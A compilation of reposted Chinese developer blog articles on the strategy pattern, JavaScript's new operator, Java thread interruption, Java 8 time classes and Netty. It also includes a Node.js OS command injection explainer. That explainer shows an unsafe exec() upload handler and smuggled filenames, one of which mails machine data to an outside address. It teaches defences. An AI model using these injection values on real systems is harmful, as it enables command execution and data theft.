玩转策略模式

发表于 2018-11-05

策略模式

源码地址

定义

定义了算法族（一组行为），分别封装起来（封装实现），让他们之间可以相互替换（扩展），此模式让算法的变化（扩展）独立与使用算法的客户（解耦）；

场景

Strategy描述一组概念相同却行为不同（一个接口却实现不同）的相关类；
Strategy的使用客户不应该知道其具体实现（解耦），避免暴露复杂的、与具体策略相关的数据结构；
一个类定义多种行为，避免这些行为以if-else的形式出现在此类中，减少对实现细节的依赖；

举例：在一些外部网关，如银行网关设计时，因直连模式时会接入多个银行，这些银行的具体报文封装逻辑、解析逻辑、业务逻辑不同（实现ConcreteStrategy），但其都可抽象为共用的网关处理逻辑（接口Strategy）；为减少调用方对实现的依赖关系、便于接入其他银行、共用代码逻辑的复用，可采用策略模式进行设计；

结构

Strategy

多个类似行为的抽象，Context所依赖的接口

ConcreteStrategy

Strategy的具体实现，为Context提供具体逻辑实现

Context

上下文（客户），一个具有多种行为的类，持有strategy引用

流程描述

Context 与Strategy关系为一对多，Strategy与ConcreteStrategy关系为一对多

代码实现

简单策略DEMO

测试代码

复制代码public class TransTest extends NnnToolsApplicationTests {

    @Autowired
    private Trans trans;
    @Test
    public void testTrans(){
        TransDO transDO = new TransDO();
        Invocation invocation = new Invocation();
        invocation.setBizType("N00001");
        invocation.setParam(transDO);
        //调用，外部对内部无感知，无依赖
        //Trans内部只依赖行为接口，不依赖实现，可动态改变其行为实现
        trans.transfer(invocation);
    }
}

简单演示动态行为切换

复制代码/**
 * @author hanlujun
 */
@Service
public class TransImpl implements Trans {
    
    @Autowired
    private Map<String,Validator> validators;

    /**
     * 交易操作
     * @param var1
     * @return
     */
    @Override
    public Result transfer(Invocation var1) {
        //**变化的行为**
        //获取对应业务类型的校验（如权限校验、非空校验、账户校验等）
        Validator validator = validators.get(var1.getBizType());
        if(Objects.nonNull(validator)){
            //校验
            validator.validation(var1.getParam());
        }
        //执行对应业务类型的业务逻辑
        return accountOperation(var1).doTransfer(var1);
    }
    
    /**
    * 测试
    */
    public TransOperation accountOperation(Invocation var1){
        // **变化的行为**
        return SpringContextUtil.getBean(var1.getBizType(), TransOperation.class);
    }
}

进阶策略DEMO

借鉴之前老师的写法来演示并做了稍微改动，demo简单描述了策略模式是如何实现可复用、可扩展、可维护的OO思想；

另外此demo仍有很大的优化空间，需要大家发散思维；

测试代码

复制代码/**
 * 测试
 */
public class TransTest extends NnnToolsApplicationTests {
    @Autowired
    private StrategyFactory strategyFactory;

    public void testTrans(){
        Context context = strategyFactory.makeDecision("N00001");
        context.execute("N00001","{}");
    }
}

策略接口

复制代码/**
 * 多个类似行为的抽象，Context所依赖的接口
 */
public interface IStrategy {

    Response execute(String code, String jsonBody);
}

策略接口与具体实现结合并结合模板方法

复制代码/**
 * 多个类似行为的抽象，Context所依赖的接口，具体策略有子类实现
 */
@Slf4j
public abstract class AbstractStrategy implements IStrategy{

    @Autowired
    private Map<String, Validator> validators;

    @Override
    public Response execute(String code , String jsonBody) {
      //获取对应业务类型的校验（如权限校验、非空校验、账户校验等）
        Validator validator = validators.get(code);
        if(Objects.nonNull(validator)){
            //校验
            validator.validation(jsonBody);
        }
        //执行对应业务类型的业务逻辑
        return doTransfer(code);
    }
    
     /**
     * 具体实现由子类决定
     * @param code
     * @return
     */
    protected abstract Response doTransfer(String code);

}

策略模式中的客户Context

复制代码/**
 * 上下文（客户），一个具有多种行为的类，持有strategy引用
 */
public class Context {

    private IStrategy strategy;

    private Context(IStrategy strategy){
        this.strategy = strategy;
    }

    public static Context getInstance(IStrategy strategy){
      return new Context(strategy);
    }

    /**
     * 执行策略
     * @param code
     * @param jsonBody
     * @return
     */
    public Response execute(String code, String jsonBody) {
        return strategy.execute(code,jsonBody);
    }
}

/**
 * 策略工厂
 */
public interface IStrategyFactory {

    Context makeDecision(String code);
}

推荐搭配：工厂类

复制代码/**
 * 策略工厂
 */
@Component
public class StrategyFactory implements IStrategyFactory {
    @Override
    public Context makeDecision(String code) {
        String serviceName =BizTypeEnums.getServiceByCode(code);
        IStrategy strategy = SpringContextUtil.getBean(serviceName);
        return Context.getInstance(strategy);
    }
}

本文转载自: 掘金

开发者博客 – 和开发相关的这里全都有

面试官问：能否模拟实现JS的new操作符

发表于 2018-11-05

前言

你好，我是若川。这是面试官问系列的第一篇，旨在帮助读者提升JS基础知识，包含new、call、apply、this、继承相关知识。

面试官问系列文章如下：感兴趣的读者可以点击阅读。

1.面试官问：能否模拟实现JS的new操作符

2.面试官问：能否模拟实现JS的bind方法

3.面试官问：能否模拟实现JS的call和apply方法

4.面试官问：JS的this指向

5.面试官问：JS的继承

用过Vuejs的同学都知道，需要用new操作符来实例化。

javascript复制代码new Vue({
    el: '#app',
    mounted(){},
});

那么面试官可能会问是否想过new到底做了什么，怎么模拟实现呢。

附上之前写文章写过的一段话：已经有很多模拟实现new操作符的文章，为什么自己还要写一遍呢。学习就好比是座大山，人们沿着不同的路登山，分享着自己看到的风景。你不一定能看到别人看到的风景，体会到别人的心情。只有自己去登山，才能看到不一样的风景，体会才更加深刻。

new 做了什么

先看简单例子1：

javascript复制代码// 例子1
function Student(){
}
var student = new Student();
console.log(student); // {}
// student 是一个对象。
console.log(Object.prototype.toString.call(student)); // [object Object]
// 我们知道平时声明对象也可以用new Object(); 只是看起来更复杂
// 顺便提一下 `new Object`(不推荐)和Object()也是一样的效果
// 可以猜测内部做了一次判断，用new调用
/** if (!(this instanceof Object)) {
*    return new Object();
*  }
*/
var obj = new Object();
console.log(obj) // {}
console.log(Object.prototype.toString.call(student)); // [object Object]

typeof Student === 'function' // true
typeof Object === 'function' // true

从这里例子中，我们可以看出：一个函数用new操作符来调用后，生成了一个全新的对象。而且Student和Object都是函数，只不过Student是我们自定义的，Object是JS本身就内置的。
再来看下控制台输出图，感兴趣的读者可以在控制台试试。
例子1 控制台输出图
与new Object() 生成的对象不同的是new Student()生成的对象中间还嵌套了一层__proto__，它的constructor是Student这个函数。

1
2
3

ini复制代码// 也就是说：
student.constructor === Student;
Student.prototype.constructor === Student;

小结1：从这个简单例子来看，`new`操作符做了两件事：

创建了一个全新的对象。
这个对象会被执行[[Prototype]]（也就是__proto__）链接。

接下来我们再来看升级版的例子2：

javascript复制代码// 例子2
function Student(name){
    console.log('赋值前-this', this); // {}
    this.name = name;
    console.log('赋值后-this', this); // {name: '若川'}
}
var student = new Student('若川');
console.log(student); // {name: '若川'}

由此可以看出：这里Student函数中的this指向new Student()生成的对象student。

小结2：从这个例子来看，`new`操作符又做了一件事：

生成的新对象会绑定到函数调用的this。

接下来继续看升级版例子3：

javascript复制代码// 例子3
function Student(name){
    this.name = name;
    // this.doSth();
}
Student.prototype.doSth = function() {
    console.log(this.name);
};
var student1 = new Student('若');
var student2 = new Student('川');
console.log(student1, student1.doSth()); // {name: '若'} '若'
console.log(student2, student2.doSth()); // {name: '川'} '川'
student1.__proto__ === Student.prototype; // true
student2.__proto__ === Student.prototype; // true
// __proto__ 是浏览器实现的查看原型方案。
// 用ES5 则是：
Object.getPrototypeOf(student1) === Student.prototype; // true
Object.getPrototypeOf(student2) === Student.prototype; // true

例子3 控制台输出图
关于JS的原型关系笔者之前看到这张图，觉得很不错，分享给大家。
JavaScript原型关系图

小结3：这个例子3再一次验证了小结1中的第2点。也就是这个对象会被执行`[[Prototype]]`（也就是`proto`）链接。并且通过`new Student()`创建的每个对象将最终被`[[Prototype]]`链接到这个`Student.protytype`对象上。

细心的同学可能会发现这三个例子中的函数都没有返回值。那么有返回值会是怎样的情形呢。
那么接下来请看例子4

javascript复制代码// 例子4
function Student(name){
    this.name = name;
    // Null（空） null
    // Undefined（未定义） undefined
    // Number（数字） 1
    // String（字符串）'1'
    // Boolean（布尔） true
    // Symbol（符号）（第六版新增） symbol
    
    // Object（对象） {}
        // Function（函数） function(){}
        // Array（数组） []
        // Date（日期） new Date()
        // RegExp（正则表达式）/a/
        // Error （错误） new Error() 
    // return /a/;
}
var student = new Student('若川');
console.log(student); {name: '若川'}

笔者测试这七种类型后MDN JavaScript类型，得出的结果是：前面六种基本类型都会正常返回{name: '若川'}，后面的Object(包含Functoin, Array, Date, RegExg, Error)都会直接返回这些值。

由此得出小结4：

如果函数没有返回对象类型Object(包含Functoin, Array, Date, RegExg, Error)，那么new表达式中的函数调用会自动返回这个新的对象。

结合这些小结，整理在一起就是：

创建了一个全新的对象。
这个对象会被执行[[Prototype]]（也就是__proto__）链接。
生成的新对象会绑定到函数调用的this。
通过new创建的每个对象将最终被[[Prototype]]链接到这个函数的prototype对象上。
如果函数没有返回对象类型Object(包含Functoin, Array, Date, RegExg, Error)，那么new表达式中的函数调用会自动返回这个新的对象。

new 模拟实现

知道了这些现象，我们就可以模拟实现new操作符。直接贴出代码和注释

javascript复制代码/**
 * 模拟实现 new 操作符
 * @param  {Function} ctor [构造函数]
 * @return {Object|Function|Regex|Date|Error}      [返回结果]
 */
function newOperator(ctor){
    if(typeof ctor !== 'function'){
      throw 'newOperator function the first param must be a function';
    }
    // ES6 new.target 是指向构造函数
    newOperator.target = ctor;
    // 1.创建一个全新的对象，
    // 2.并且执行[[Prototype]]链接
    // 4.通过`new`创建的每个对象将最终被`[[Prototype]]`链接到这个函数的`prototype`对象上。
    var newObj = Object.create(ctor.prototype);
    // ES5 arguments转成数组 当然也可以用ES6 [...arguments], Aarry.from(arguments);
    // 除去ctor构造函数的其余参数
    var argsArr = [].slice.call(arguments, 1);
    // 3.生成的新对象会绑定到函数调用的`this`。
    // 获取到ctor函数返回结果
    var ctorReturnResult = ctor.apply(newObj, argsArr);
    // 小结4 中这些类型中合并起来只有Object和Function两种类型 typeof null 也是'object'所以要不等于null，排除null
    var isObject = typeof ctorReturnResult === 'object' && ctorReturnResult !== null;
    var isFunction = typeof ctorReturnResult === 'function';
    if(isObject || isFunction){
        return ctorReturnResult;
    }
    // 5.如果函数没有返回对象类型`Object`(包含`Functoin`, `Array`, `Date`, `RegExg`, `Error`)，那么`new`表达式中的函数调用会自动返回这个新的对象。
    return newObj;
}

最后用模拟实现的newOperator函数验证下之前的例子3：

ini复制代码// 例子3 多加一个参数
function Student(name, age){
    this.name = name;
    this.age = age;
    // this.doSth();
    // return Error();
}
Student.prototype.doSth = function() {
    console.log(this.name);
};
var student1 = newOperator(Student, '若', 18);
var student2 = newOperator(Student, '川', 18);
// var student1 = new Student('若');
// var student2 = new Student('川');
console.log(student1, student1.doSth()); // {name: '若'} '若'
console.log(student2, student2.doSth()); // {name: '川'} '川'

student1.__proto__ === Student.prototype; // true
student2.__proto__ === Student.prototype; // true
// __proto__ 是浏览器实现的查看原型方案。
// 用ES5 则是：
Object.getPrototypeOf(student1) === Student.prototype; // true
Object.getPrototypeOf(student2) === Student.prototype; // true

可以看出，很符合new操作符。读者发现有不妥或可改善之处，欢迎指出。
回顾这个模拟new函数newOperator实现，最大的功臣当属于Object.create()这个ES5提供的API。

Object.create() 用法举例

笔者之前整理的一篇文章中也有讲过，可以翻看JavaScript 对象所有API解析

MDN Object.create()

Object.create(proto, [propertiesObject])
方法创建一个新对象，使用现有的对象来提供新创建的对象的__proto__。
它接收两个参数，不过第二个可选参数是属性描述符（不常用，默认是undefined）。

javascript复制代码var anotherObject = {
    name: '若川'
};
var myObject = Object.create(anotherObject, {
    age: {
        value：18,
    },
});
// 获得它的原型
Object.getPrototypeOf(anotherObject) === Object.prototype; // true 说明anotherObject的原型是Object.prototype
Object.getPrototypeOf(myObject); // {name: "若川"} // 说明myObject的原型是{name: "若川"}
myObject.hasOwnProperty('name'); // false; 说明name是原型上的。
myObject.hasOwnProperty('age'); // true 说明age是自身的
myObject.name; // '若川'
myObject.age; // 18;

对于不支持ES5的浏览器，MDN上提供了ployfill方案。

javascript复制代码if (typeof Object.create !== "function") {
    Object.create = function (proto, propertiesObject) {
        if (typeof proto !== 'object' && typeof proto !== 'function') {
            throw new TypeError('Object prototype may only be an Object: ' + proto);
        } else if (proto === null) {
            throw new Error("This browser's implementation of Object.create is a shim and doesn't support 'null' as the first argument.");
        }

        if (typeof propertiesObject != 'undefined') throw new Error("This browser's implementation of Object.create is a shim and doesn't support a second argument.");

        function F() {}
        F.prototype = proto;
        return new F();
    };
}

到此，文章就基本写完了。感谢读者看到这里。

最后总结一下：

new做了什么：

创建了一个全新的对象。

这个对象会被执行[[Prototype]]（也就是__proto__）链接。

生成的新对象会绑定到函数调用的this。

通过new创建的每个对象将最终被[[Prototype]]链接到这个函数的prototype对象上。

如果函数没有返回对象类型Object(包含Functoin, Array, Date, RegExg, Error)，那么new表达式中的函数调用会自动返回这个新的对象。

怎么模拟实现

ini复制代码// 去除了注释
function newOperator(ctor){
    if(typeof ctor !== 'function'){
      throw 'newOperator function the first param must be a function';
    }
    newOperator.target = ctor;
    var newObj = Object.create(ctor.prototype);
    var argsArr = [].slice.call(arguments, 1);
    var ctorReturnResult = ctor.apply(newObj, argsArr);
    var isObject = typeof ctorReturnResult === 'object' && ctorReturnResult !== null;
    var isFunction = typeof ctorReturnResult === 'function';
    if(isObject || isFunction){
        return ctorReturnResult;
    }
    return newObj;
}

读者发现有不妥或可改善之处，欢迎指出。另外觉得写得不错，可以点个赞，也是对笔者的一种支持。

笔者精选文章

学习 sentry 源码整体架构，打造属于自己的前端异常监控SDK

学习 lodash 源码整体架构，打造属于自己的函数式编程类库

学习 underscore 源码整体架构，打造属于自己的函数式编程类库

学习 jQuery 源码整体架构，打造属于自己的 js 类库

面试官问：JS的继承

面试官问：JS的this指向

面试官问：能否模拟实现JS的call和apply方法

面试官问：能否模拟实现JS的bind方法

面试官问：能否模拟实现JS的new操作符

前端使用puppeteer 爬虫生成《React.js 小书》PDF并合并

关于

作者：常以若川为名混迹于江湖。前端路上 | PPT爱好者 | 所知甚少，唯善学。

个人博客

segmentfault前端视野专栏，开通了前端视野专栏，欢迎关注~

掘金专栏，欢迎关注~

知乎前端视野专栏，开通了前端视野专栏，欢迎关注~

github blog，求个star^_^~

微信公众号若川视野

【若川视野】可能比较有趣的微信公众号，欢迎关注。也可以加微信 ruochuan12，注明来源，拉您进【前端视野交流群】。

本文转载自: 掘金

开发者博客 – 和开发相关的这里全都有

interrupt(),interrupted() 和 is

发表于 2018-11-05

结论先行

interrupt()：将调用该方法的对象所表示的线程标记一个停止标记，并不是真的停止该线程。

interrupted()：获取当前线程的中断状态，并且会清除线程的状态标记。是一个是静态方法。

isInterrupted()：获取调用该方法的对象所表示的线程，不会清除线程的状态标记。是一个实例方法。

现在对各方法逐一进行具体介绍：

interrupt()

首先我们来使用一下 interrupt() 方法，观察效果，代码如下：

复制代码public class MainTest {
   @Test
   public void test() {
       try {
           MyThread01 myThread = new MyThread01();
           myThread.start();
           myThread.sleep(2000);
           myThread.interrupt();
       } catch (Exception e) {
           System.out.println("main catch");
           e.printStackTrace();
       }
   }
}

public class MyThread01 extends Thread {
   @Override
   public void run() {
       super.run();
       for (int i = 0; i < 500; i++) {
           System.out.println("i= " + i);
       }
   }
}

输出结果：

可以看出，子线程已经执行完成了。说明 interrupt() 方法是不能让线程停止，和我们一开始所说的那样，它仅仅是在当前线程记下一个停止标记而已。

那么这个停止标记我们又怎么知道呢？——此时就要介绍下面的 interrupted() 和 isInterrupted() 方法了。

interrupted() 和 isInterrupted()

interrupted() 方法的声明为 public static boolean interrupted()
isInterrupted() 方法的声明为 public boolean isInterrupted()

这两个方法很相似，下面我们用程序来看下使用效果上的区别吧

先来看下使用 interrupted() 的程序。

复制代码@Test
public void test() {
      try {
          MyThread01 myThread = new MyThread01();
          myThread.start();
          myThread.sleep(1000);
//     7行： Thread.currentThread().interrupt(); // Thread.currentThread() 这里表示 main 线程
          myThread.interrupt();
          // myThread.interrupted() 底层调用了 currentThread().isInterrupted(true); 作用是判断当前线程是否为停止状态
          System.out.println("是否中断1 " + myThread.interrupted());
          System.out.println("是否中断2 " + myThread.interrupted());
      } catch (InterruptedException e) {
          System.out.println("main catch");
      }
  System.out.println("main end");
}

输出结果：

由此可以看出，线程并未停止，同时也证明了 interrupted() 方法的解释：测试当前线程是否已经中断，这个当前线程就是 main 线程，它从未中断过，所以打印结果都是 false。

那么如何使 main 线程产生中断效果呢？将上面第 8 行代码注释掉，并将第 7 行代码的注释去掉再运行，我们就可以得到以下输出结果：

从结果上看，方法 interrupted() 的确判断出了当前线程（此例为 main 线程）是否是停止状态了，但为什么第二个布尔值为 false 呢？我们在最开始的时候有说过——interrupted() 测试当前线程是否已经是中断状态，执行后会将状态标志清除。

因为执行 interrupted() 后它会将状态标志清除，底层调用了 isInterrupted(true)，此处参数为 true 。所以 interrupted() 具有清除状态标记功能。

在第一次调用时，由于此前执行了 Thread.currentThread().interrupt();，导致当前线程被标记了一个中断标记，因此第一次调用 interrupted() 时返回 true。因为 interrupted() 具有清除状态标记功能，所以在第二次调用 interrupted() 方法时会返回 false。

以上就是 interrupted() 的介绍内容，最后我们再来看下 isInterrupted() 方法吧。

isInterrupted() 和 interrupted() 有两点不同：一是不具有清除状态标记功能，因为底层传入 isInterrupted() 方法的参数为 false。二是它判断的线程调用该方法的对象所表示的线程，本例为 MyThread01 对象。

我们修改一下上面的代码，看下运行效果：

复制代码@Test
public void test() {
   try {
       MyThread01 myThread = new MyThread01();
       myThread.start();
       myThread.sleep(1000);
       myThread.interrupt();
       // 修改了下面这两行。
       // 上面的代码是 myThread.interrupted();
       System.out.println("是否中断1 " + myThread.isInterrupted());
       System.out.println("是否中断2 " + myThread.isInterrupted());
   } catch (InterruptedException e) {
       System.out.println("main catch");
       e.printStackTrace();
   }
   System.out.println("main end");
}

输出结果：

结果很明显，因为 isInterrupted() 不具有清除状态标记功能，所以两次都输出 true。

参考文章：www.cnblogs.com/hapjin/p/54…

PS：本文原创发布于微信公众号「不只Java」。

本文转载自: 掘金

开发者博客 – 和开发相关的这里全都有

Web 安全漏洞之 OS 命令注入

发表于 2018-11-05

什么是 OS 命令注入

上周我们分享了一篇《Web 安全漏洞之 SQL 注入》，其原理简单来说就是因为 SQL 是一种结构化字符串语言，攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句。而今天要讲的 OS 命令注入其实原理和 SQL 注入是类似的，只是场景不一样而已。OS 注入攻击是指程序提供了直接执行 Shell 命令的函数的场景，当攻击者不合理使用，且开发者对用户参数未考虑安全因素的话，就会执行恶意的命令调用，被攻击者利用。

在 Node.js 中可以使用 exec() 执行命令。以基于 ThinkJS 开发的博客系统 Firekylin 为例，其中有一个用户上传压缩包导入数据的功能，为了方便直接使用了 tar 命令去解压文件，大致代码如下：

复制代码const { exec } = require('child_process');

const extractPath = path.join(think.RUNTIME_PATH, 'importMarkdownFileToFirekylin');
module.exports = class extends think.Controller {
    async upload() {
        const { path: filePath } = this.file('import');
        exec(`rm -rf ${extractPath}; mkdir ${extractPath}; cd ${PATH}; tar zvxf "${filePath}"`);
    }
}

其中 filePath 是用户上传文件的包含文件名的临时上传路径。假设此时用户上传的文件名为 $(whoami).tar.gz，那么最后 exec() 就相当于执行了 tar zvxf "/xxx/runtime/$(whoami).tar.gz"。而 Bash 的话双引号中的 $() 包裹部分会被当做命令执行，最终达到了用户超乎程序设定直接执行 Shell 命令的可怕结果。类似的写法还有

包裹。当然我这里写的是 `whoami` 命令显得效果还好，如果是 `$(cat| mail -s "host" i@imnerd.org).tar.gz` 能直接获取到机器密码之类的就能体会出这个漏洞的可怕了吧。




> **为什么使用 exec 会出问题？**
> 
> 
> 因为在child\_process.exec引擎下，将调用执行"/bin/sh"。而不是目标程序。已发送的命令只是被传递给一个新的"/bin/ sh'进程来执行shell。 child\_process.exec的名字有一定误导性 - 这是一个bash的解释器，而不是启动一个程序。这意味着，所有的shell字符可能会产生毁灭性的后果，如果直接执行用户输入的参数。
> via: [《避免Node.js中的命令行注入安全漏洞》](http://ourjs.com/detail/547d60190dad0fbb6d00000b)


OS 命令注入的危害
----------


正如刚才所说，由于能获取直接执行系统命令的能力，所以 OS 命令注入漏洞的危害想必不需要我再强调一遍。总之就是基本上能“为所欲为”吧。


![为所欲为](https://gitee.com/songjianzaina/juejin_p16/raw/master/img/a9843cbc29aa3cc94fcb09bf836417e1a3899795873e4660c6a203a632466624)




防御方法
----


### 使用 execFile / spawn


在 Node.js 中除了 `exec()` 之外，还有 `execFile()` 和 `spawn()` 两个方法也可以用来执行系统命令。它们和 `exec()` 的区别是后者是直接将一个命令字符串传给 `/bin/sh` 执行，而前者是提供了一个数组作为参数容器，最后参数会被直接传到 C 的命令执行方法 `execve()` 中，不容易执行额外的参数。



> 当使用 spawn 或 execfile 时，我们的目标是只执行一个命令（参数）。这意味着用户不能运行注入的命令，因为`/bin/ls`并不知道如何处理反引号或管道操作或;。它的`/bin/sh`将要解释的是那些命令的参数。
> via: [《避免Node.js中的命令行注入安全漏洞》](http://ourjs.com/detail/547d60190dad0fbb6d00000b)


不过这个也不是完美之策，这个其实是利用了执行的命令只接受普通参数来做的过滤。但是某些命令，例如 `/bin/find`，它提供了 `-exec` 参数，后续的参数传入后会被其当成命令执行，这样又回到了最开始的状态了。


### 白名单校验


除了上面的方法之外，我们也可以选择对用户输入的参数进行过滤校验。例如在文章开头的上传文件的示例里，由于是用户上传的文件名，根据上下文我们可以对其限制仅允许纯英文的文件名其它的都过滤掉，这样也能避免被注入的目的。当然黑名单也不是不可以，只是需要考虑的情况比较多，像上文说的````，`$()`等等情况都需要考虑，再加上转义之类的操作防不胜防，相比之下还是白名单简单高效。

复制代码let { path: filePath } = this.file(‘import’);
filePath = filePath.replace(/[^a-zA-Z0-9./_-]/g, ‘’);

当然最好还是不要允许用户输入参数，只允许用户选择比较好。


后记
--


网络上关于 Node.js 的命令注入漏洞描述的文章比较少，大多都是 PHP 的。虽然大道理是相同的，不过在具体的防御处理上不同的语言稍微有点不一样，所以写下这篇文章分享给大家。当然除了做校验之外，使用非 root 权限用户执行程序限制其权限也能有一定的作用。另外可以定期的搜索下代码中使用 `exec()` 命令的地方，看看有没有问题。本来这时候应该给大家推荐一款静态分析工具来代替人肉扫描的，不过奈何 Node.js 这方面的静态分析工具不多。总之，日常开发中能不是用系统命令的尽量不是用，实在不得以要用的话也要做好校验，是用 `spawn()` 等相较安全的方法。


**参考资料：**


* [《【缺陷周话】第6期：命令注入》](https://www.anquanke.com/post/id/162453#h2-1)
* [《[Nodejs] Security: Command Injection》](https://hackernoon.com/nodejs-security-issue-javascript-node-example-tutorial-vulnerabilities-hack-line-url-command-injection-412011924d1b)
* [《find (Unix)》](https://en.wikipedia.org/wiki/Find_(Unix))




**本文转载自:** [掘金](https://juejin.cn/post/6844903704320016398)

*[开发者博客 – 和开发相关的 这里全都有](https://dev.newban.cn/)*

Java 8 常用时间 api

发表于 2018-11-04

Java 8 提供了一套新的时间 api ，比之前的 Calendar 类要简单明了很多。常用的有三个类 Instant、LocalDate 、LocalDateTime , Instant 是用来表示时刻的，类似 Unix 的时间，表示从协调世界时1970年1月1日0时0分0秒起至现在的总秒数，也可以获取毫秒。LocalDate 表示一个日期，只有年月日，没有时分秒。LocalDateTime 就是年月日时分秒了。

Instant

复制代码public static void main(String[] args) {
    Instant now = Instant.now();
    System.out.println("Now secoonds:" + now.getEpochSecond());
    System.out.println("Now milli   :" + now.toEpochMilli());
}

输出当前时刻距离 1970年1月1日0时0分0秒 的秒和毫秒

Now secoonds:1541321299

Now milli :1541321299037

LocalDateTime

为了方便输出时间格式，Java8 提供了 DateTimeFormatter 类来替代之前的 SimpleDateFormat。

复制代码public static void main(String[] args) {
    DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");
    LocalDateTime now = LocalDateTime.now();
    System.out.println("Now: " + now.format(formatter));
}

Now: 2018-11-04 16:53:09

LocalDateTime 提供了很多时间计算的方法，比如加一个小时，减去一周，加上一天等等这样的计算，比之前的 Calendar 要方便许多。

复制代码public static void main(String[] args) {
    DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");
    LocalDateTime now = LocalDateTime.now();
    System.out.println("Now: " + now.format(formatter));

    LocalDateTime nowPlusDay = now.plusDays(1);
    System.out.println("Now + 1 day: " + nowPlusDay.format(formatter));

    LocalDateTime nowMinusHours = now.minusHours(5);
    System.out.println("Now - 5 hours: " + nowMinusHours.format(formatter));
}

Now: 2018-11-04 17:02:53

Now + 1 day: 2018-11-05 17:02:53

Now - 5 hours: 2018-11-04 12:02:53

LocalDateTime 还有 isAfter 、 isBefore 和 isEqual 方法可以用来比较两个时间。LocalDate 的用法和 LocalDateTime 是类似的。

Instant 和 LocalDateTime 的互相转换

这俩的互相转换都要涉及到一个时区的问题。LocalDateTime 用的是系统默认时区。我们可以先把 LocalDateTime 转为 ZonedDateTime ，然后再转成 Instant。

复制代码public static void main(String[] args) {
    DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");
    LocalDateTime now = LocalDateTime.now();
    System.out.println("Now: " + now.format(formatter));

    Instant nowInstant = now.atZone(ZoneId.systemDefault()).toInstant();
    System.out.println("Now mini seconds: " + nowInstant.toEpochMilli());
}

Now: 2018-11-04 17:19:16

Now mini seconds: 1541323156101

复制代码public static void main(String[] args) {
    DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");
    Instant now = Instant.now();
    System.out.println("Now mini seconds: " + now.toEpochMilli());


    LocalDateTime nowDateTime = LocalDateTime.ofInstant(now, ZoneId.systemDefault());
    System.out.println("Zone id: " + ZoneId.systemDefault().toString());
    System.out.println("Now: " + nowDateTime.format(formatter));
}

Now mini seconds: 1541323844781

Zone id: Asia/Shanghai

Now: 2018-11-04 17:30:44

本文转载自: 掘金

开发者博客 – 和开发相关的这里全都有

彻底理解Netty，这一篇文章就够了

发表于 2018-11-01

Netty到底是什么

从HTTP说起

有了Netty，你可以实现自己的HTTP服务器，FTP服务器，UDP服务器，RPC服务器，WebSocket服务器，Redis的Proxy服务器，MySQL的Proxy服务器等等。

我们回顾一下传统的HTTP服务器的原理

1、创建一个ServerSocket，监听并绑定一个端口

2、一系列客户端来请求这个端口

3、服务器使用Accept，获得一个来自客户端的Socket连接对象

4、启动一个新线程处理连接

4.1、读Socket，得到字节流

4.2、解码协议，得到Http请求对象 

4.3、处理Http请求，得到一个结果，封装成一个HttpResponse对象 

4.4、编码协议，将结果序列化字节流

写Socket，将字节流发给客户端

5、继续循环步骤3

HTTP服务器之所以称为HTTP服务器，是因为编码解码协议是HTTP协议，如果协议是Redis协议，那它就成了Redis服务器，如果协议是WebSocket，那它就成了WebSocket服务器，等等。
使用Netty你就可以定制编解码协议，实现自己的特定协议的服务器。

NIO

上面是一个传统处理http的服务器，但是在高并发的环境下，线程数量会比较多，System load也会比较高，于是就有了NIO。

他并不是Java独有的概念，NIO代表的一个词汇叫着IO多路复用。它是由操作系统提供的系统调用，早期这个操作系统调用的名字是select，但是性能低下，后来渐渐演化成了Linux下的epoll和Mac里的kqueue。我们一般就说是epoll，因为没有人拿苹果电脑作为服务器使用对外提供服务。而Netty就是基于Java NIO技术封装的一套框架。为什么要封装，因为原生的Java NIO使用起来没那么方便，而且还有臭名昭著的bug，Netty把它封装之后，提供了一个易于操作的使用模式和接口，用户使用起来也就便捷多了。说NIO之前先说一下BIO（Blocking IO）,如何理解这个Blocking呢？

客户端监听（Listen）时，Accept是阻塞的，只有新连接来了，Accept才会返回，主线程才能继
读写socket时，Read是阻塞的，只有请求消息来了，Read才能返回，子线程才能继续处理
读写socket时，Write是阻塞的，只有客户端把消息收了，Write才能返回，子线程才能继续读取下一个请求

传统的BIO模式下，从头到尾的所有线程都是阻塞的，这些线程就干等着，占用系统的资源，什么事也不干。

那么NIO是怎么做到非阻塞的呢。它用的是事件机制。它可以用一个线程把Accept，读写操作，请求处理的逻辑全干了。如果什么事都没得做，它也不会死循环，它会将线程休眠起来，直到下一个事件来了再继续干活，这样的一个线程称之为NIO线程。用伪代码表示：

复制代码while true {
    events = takeEvents(fds)  // 获取事件，如果没有事件，线程就休眠
    for event in events {
        if event.isAcceptable {
            doAccept() // 新链接来了
        } elif event.isReadable {
            request = doRead() // 读消息
            if request.isComplete() {
                doProcess()
            }
        } elif event.isWriteable {
            doWrite()  // 写消息
        }
    }
}

Reactor线程模型

Reactor单线程模型

一个NIO线程+一个accept线程：

Reactor多线程模型

Reactor主从模型

主从Reactor多线程：多个acceptor的NIO线程池用于接受客户端的连接

Netty可以基于如上三种模型进行灵活的配置。

总结

Netty是建立在NIO基础之上，Netty在NIO之上又提供了更高层次的抽象。

在Netty里面，Accept连接可以使用单独的线程池去处理，读写操作又是另外的线程池来处理。

Accept连接和读写操作也可以使用同一个线程池来进行处理。而请求处理逻辑既可以使用单独的线程池进行处理，也可以跟放在读写线程一块处理。线程池中的每一个线程都是NIO线程。用户可以根据实际情况进行组装，构造出满足系统需求的高性能并发模型。

为什么选择Netty

如果不用netty，使用原生JDK的话，有如下问题：

1、API复杂2、对多线程很熟悉：因为NIO涉及到Reactor模式3、高可用的话：需要出路断连重连、半包读写、失败缓存等问题4、JDK NIO的bug而Netty来说，他的api简单、性能高而且社区活跃（dubbo、rocketmq等都使用了它）

什么是TCP 粘包/拆包

现象

先看如下代码，这个代码是使用netty在client端重复写100次数据给server端，ByteBuf是netty的一个字节容器，里面存放是的需要发送的数据

复制代码public class FirstClientHandler extends ChannelInboundHandlerAdapter {    
    @Override    
    public void channelActive(ChannelHandlerContext ctx) {       
        for (int i = 0; i < 1000; i++) {            
            ByteBuf buffer = getByteBuf(ctx);            
            ctx.channel().writeAndFlush(buffer);        
        }    
    }    
    private ByteBuf getByteBuf(ChannelHandlerContext ctx) {        
        byte[] bytes = "你好，我的名字是1234567!".getBytes(Charset.forName("utf-8"));        
